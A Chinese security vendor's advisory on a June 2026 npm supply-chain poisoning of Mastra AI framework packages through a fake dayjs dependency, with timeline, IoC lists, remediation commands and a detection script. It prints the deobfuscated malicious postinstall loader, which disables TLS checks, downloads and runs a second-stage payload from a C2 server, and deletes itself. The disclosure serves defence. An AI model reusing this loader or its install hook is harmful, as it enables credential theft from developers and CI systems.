紧急AI安全情报 | 热门AI智能体开发框架Mastra近140个NPM组件遭受供应链投毒
原创
悬镜安全情报中心
悬镜安全情报中心
悬镜安全
2026年6月17日 15:12
上海
在小说阅读器读本章
去阅读
AI风险情报概述
Summary
北京时间2026.06.17 早上9点13左右,悬镜供应链安全情报中心在NPM官方仓库中监测到针对AI智能体框架Mastra AI的供应链投毒攻击,截至10点20分,近140个Mastra AI开源NPM项目已陆续遭受攻击者批量代码投毒。
Mastra是知名开源TypeScript AI开发框架,用于构建 AI 驱动的AI 应用与智能体Agent、工作流和RAG管道。其NPM开源SDK组件包219个,广泛用于集成LLM提供商(OpenAI、Anthropic、Google)、管理持久化内存、实现MCP(模型上下文协议)服务器以及将AI工作负载部署到云提供商。Mastra组件包通常安装在开发环境、CI/CD流水线和生产AI服务中,这些环境通常可访问高价值凭证,包括LLM API密钥、云提供商令牌和数据库密钥。
此次投毒攻击主要特征是在NPM组件 package.json 被攻击者注入恶意依赖包 easy-day-js (伪装成知名组件dayjs),当安装或者更新被投毒的 Mastra 组件包时会继续安装恶意依赖包 easy-day-js 并自动执行恶意依赖包中高度混淆的恶意脚本。本次供应链投毒估计涉及多个高下载量Mastra AI开发相关热门NPM包,包括:
- @mastra/core(周下载量100万+)
- @mastra/schema-compat(周下载量100万+)
- @mastra/server(周下载量50万+)
- @mastra/mcp(周下载量30万+)
- @mastra/ai-sdk(周下载量20万+)
- @mastra/rag(周下载量10万+)
- ...
@mastra/core投毒版本1.42.1
在北京时间6月17日存在更新或安装@mastra系列NPM包的个人开发者与企业应重点排查自身系统是否已被感染入侵。此次投毒攻击时间线如下所示:
| 北京时间 | 攻击事件 |
| 06.16 15:05 | 攻击者发布[email protected],这是合法dayjs库的干净副本,无恶意代码,用于建立可信度。 |
| 06.17 09:01 | 攻击者发布[email protected],新增setup.cjs恶意脚本文件和postinstall钩子的恶意版本。 |
| 06.17 09:12 | 攻击者使用被入侵的@mastra组织凭证,在30分钟内针对近10个高下载量的Mastra SDK组件批量发布投递恶意版本。 |
| 06.17 10:23 | 攻击者利用@mastra组织NPM凭证对近130个Mastra SDK组件陆续批量发布恶意版本。 |
针对此次AI供应链投毒事件,悬镜安全已于第一时间将投毒相关技术细节向供应链情报订阅用户推送预警。
供应链投毒分析
Poisoning Analysis
1
恶意依赖注入攻击
以 @mastra/core 1.42.1版本为例,package.json被篡改植入恶意依赖包easy-day-js(伪装知名组件包dayjs),该恶意依赖包在本次攻击的前一天由攻击者提前投递在NPM官方仓库。
package.json文件被植入恶意依赖easy-day-js
当开发者执行npm install/update安装或者更新任何受感染的@mastra包时,npm会自动解析并安装恶意依赖包 easy-day-js ,恶意依赖会自动执行高度混淆的setup.cjs恶意脚本。该脚本会从攻击者控制的C2服务器下载并执行第二阶段恶意Payload后进一步实现自删除销毁躲避安全扫描。
恶意依赖包easy-day-js(伪装知名组件dayjs)
依赖包easy-day-js恶意混淆代码
恶意依赖包 easy-day-js 的混淆脚本setup.cjs代码还原后如下所示:
const ObjectCreate = Object.create;const DefineProperty = Object.defineProperty;const GetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;const GetOwnPropertyNames = Object.getOwnPropertyNames;const GetPrototypeOf = Object.getPrototypeOf;const HasOwnProperty = Object.prototype.hasOwnProperty;/** * 将 source 对象的所有属性(除了 exclude)以 getter 方式代理到 target */const copyProperties = (target, source, exclude) => { if (source && (typeof source === 'object' || typeof source === 'function')) { for (const key of GetOwnPropertyNames(source)) { if (!HasOwnProperty.call(target, key) && key !== exclude) { DefineProperty(target, key, { get: () => source[key], enumerable: !(GetOwnPropertyDescriptor(source, key) || {}).enumerable }); } } } return target;}; /** * ESModule 兼容包装器:将 CommonJS 模块转换为带 default 导出的对象 */const wrapModule = (mod, isESModule, exports) => { exports = mod != null ? ObjectCreate(GetPrototypeOf(mod)) : {}; copyProperties( isESModule || !mod || !mod.__esModule ? DefineProperty(exports, 'default', { value: mod, enumerable: true }) : exports, mod ); return exports;};const childProcess = require('node:child_process');const crypto = require('node:crypto');const fs = wrapModule(require('node:fs'), 1);const os = wrapModule(require('node:os'), 1);const path = wrapModule(require('node:path'), 1);// 禁用 TLS 证书验证,防止 HTTPS 拦截检测process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';(async () => { try { const C2_DOWNLOAD_URL = 'https://23.254.164.92:8000/update/49890878'; const C2_SERVER_ADDRESS = '23.254.164.123:443'; const BINARY_IDENTIFIER = Buffer.from([0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3]); try { const installPath = __dirname; // 写入痕迹文件到系统临时目录 fs.writeFileSync( path.join(os.tmpdir(), '.pkg_history'), installPath, 'utf-8' ); fs.writeFileSync( path.join(os.tmpdir(), '.pkg_logs'), BINARY_IDENTIFIER ); } catch {} // 从 C2 服务器下载第二阶段 payload const payload = await (await fetch(C2_DOWNLOAD_URL, { method: 'GET' })).text(); // 生成随机文件名 const randomFilename = crypto.randomBytes(12).toString('hex') + '.js'; const tempScriptPath = path.join(os.tmpdir(), randomFilename); // 写入临时脚本文件 fs.writeFileSync(tempScriptPath, payload, 'utf8'); // 以 detached 子进程隐蔽执行下载的脚本 childProcess.spawn(process.execPath, [tempScriptPath, C2_SERVER_ADDRESS], { cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true }).unref(); } catch {} finally { // 删除自身文件 fs.rmSync(__filename, { force: true }); }})();
整个供应链投毒攻击可分为四阶段:
阶段1 - 恶意依赖包投递:攻击者首先创建easy-day-js包,完全复制知名组件dayjs的元数据(作者、主页、仓库URL、关键词、版本号),使其看起来与正版dayjs高度相似。版本号1.11.x也与正版dayjs的版本谱系保持一致。
阶段2 - 恶意依赖注入:攻击者入侵@mastra 项目维护者账号获取NPM发布凭证后,在近140个核心组件包的package.json中添加\"easy-day-js\": \"^1.11.21\"或\"easy-day-js\": \"^1.11.22\"作为生产依赖。由于语义化版本范围^1.11.21在安装时会解析为最新匹配版本,所有用户都会实际获取到恶意的1.11.22版本。
阶段3 - 恶意依赖Postinstall静默执行:当用户执行npm install时,easy-day-js的postinstall钩子自动执行:package.json中的恶意postinstall配置\"postinstall\": \"node setup.cjs --no-warnings\"。--no-warnings参数用于抑制Node.js的弃用和实验性警告,避免引起用户注意。setup.cjs文件(4572字节)使用自定义字符串编码方案进行深度混淆,负责从攻击者C2服务器下载并执行下一阶段恶意Payload代码。
阶段4 - 恶意依赖远程Payload执行:恶意依赖包easy-day-js的第二阶段Payload在运行时从C2服务器动态下载,不嵌入在tarball组件包中。Payload以分离模式启动(detached: true),在npm install完成后继续后台运行且无可见输出。根据C2基础设施特征,第二阶段Payload目前暂未捕获到具体攻击代码,但极可能用于窃取环境变量中的敏感凭证,包括:
- LLM API密钥:ANTHROPIC\_API\_KEY、OPENAI\_API\_KEY等
- 云凭证:AWS\_ACCESS\_KEY\_ID、AWS\_SECRET\_ACCESS\_KEY等
- 开发环境凭据:GITHUB\_TOKEN、NPM\_TOKEN、PYPI TOKEN、SSH密钥等
2
*影响范围及IoC数据*
此次针对Mastra AI供应链投毒涉及的部分恶意IoC数据如下表所示:
| 投毒影响组件(purl格式) |
| pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/%40mastra/[email protected] pkg:npm/[email protected] pkg:npm/[email protected] |
排查方式
Investigation Method
- 紧急缓解措施:
立即轮换所有LLM API密钥、云凭证、CI/CD令牌、开发环境凭据(包括 Git、SSH、Kubernetes等);使用package-lock.json或npm shrinkwrap锁定依赖版本;监控出站连接到23.254.164.0/24网段的异常流量。
2. 排查是否存在与恶意C2服务器(23.254.164.92、23.254.164.123)的网络连接。
3. 根据文中提到的受影响组件列表,对目标环境进行排查。
# 检查是否安装了easy-day-jsnpm list easy-day-js# 如已安装,立即卸载npm uninstall easy-day-js# 检查所有@mastra包版本npm list | grep @mastra# 如有恶意版本,回滚到上一安全版本npm install @mastra/[email protected] --save-exact
- 恶意IoC快速排查脚本
#!/bin/bash# 功能:使用npm list 命令检测系统中是否安装恶意NPM包(遍历purl列表)# 用法: ./check_mal_npm_purls.sh # ====================== 配置项 ======================# 检查模式: global(全局包) / local(当前项目包)CHECK_MODE=\"global\"# ====================================================# 定义所有恶意NPM包的purl列表PURL_LIST=(\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/%40mastra/[email protected]\"\"pkg:npm/[email protected]\"\"pkg:npm/[email protected]\")# 颜色定义(输出更清晰)RED='\\033[0;31m'GREEN='\\033[0;32m'YELLOW='\\033[1;33m'NC='\\033[0m' # 无颜色echo -e \"${YELLOW}===== 恶意npm包安装检查脚本 =====${NC}\"echo -e \"${YELLOW}检查模式: ${CHECK_MODE}${NC}\"echo -e \"${YELLOW}=============================${NC}\"echo \"\"# 统计变量total=${#PURL_LIST[@]}installed=0not_installed=0# 遍历所有purlfor purl in \"${PURL_LIST[@]}\"; do # 1. 解析purl: 提取包名和版本号 # 格式: pkg:npm/包名@版本号 package=$(echo \"$purl\" | sed -E 's|pkg:npm/([^@]+)@.*|\\1|') version=$(echo \"$purl\" | sed -E 's|.*@([0-9.]+)|\\1|') echo -e \"检查恶意包: ${YELLOW}${package}@${version}${NC}\" # 2. 执行npm检查命令 if [ \"$CHECK_MODE\" = \"global\" ]; then # 检查全局安装的包 npm_list_output=$(npm list -g \"$package@$version\" --depth=0 2>/dev/null) else # 检查当前项目的包 npm_list_output=$(npm list \"$package@$version\" --depth=0 2>/dev/null) fi # 3. 判断是否安装(npm list 找到包会输出包信息,未找到则为空/报错) if echo \"$npm_list_output\" | grep -q \"$package@$version\"; then echo -e \" ! ${RED}已安装恶意包${NC}\" ((installed++)) else # echo -e \" ❌ ${GREEN}未安装恶意组件${NC}\" ((not_installed++)) fi echo \"----------------------------------------\"done# 输出最终统计echo \"\"echo -e \"${YELLOW}===== 检查结果统计 =====${NC}\"echo -e \"总检查数量: ${total}\"echo -e \"✅ 已安装恶意包: ${GREEN}${installed}${NC}\"# echo -e \"❌ 未安装: ${RED}${not_installed}${NC}\"echo -e \"${YELLOW}========================${NC}\"
情报驱动,以AI治理AI!悬镜安全新一代AI原生安全治理技术“问境AIST”AI原生安全测试平台已第一时间将 AI 供应链安全情报纳入原生AI治理框架,当外部出现针对特定 AI 框架、模型组件或数据链路的 0Day 攻击与投毒事件时,AIST平台能够根据 AI-BOM 快速识别受影响范围,定位关联资产与代码链路,并为修复和处置提供更具针对性的依据,帮助企业构建起小时级的风险响应闭环。
最新推荐阅读
部分标杆客户
关于“悬镜安全”
悬镜安全,起源于北京大学网络安全技术研究团队“XMIRROR”。作为新一代数字供应链安全开拓者,首创基于“AI 原生安全+ DevSecOps敏捷安全+多模态 SCA+ AI 供应链安全情报预警”技术的新一代数字供应链安全治理体系。
智能情报驱动,以AI治理AI!从源头治理大模型开发、训练、部署到智能体运营等关键环节面临的 AI 原生安全风险,帮助企业用户构筑一套从传统软件供应链到 AI 原生供应链全生命周期的内生安全治理体系,持续守护新一代数字供应链安全。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论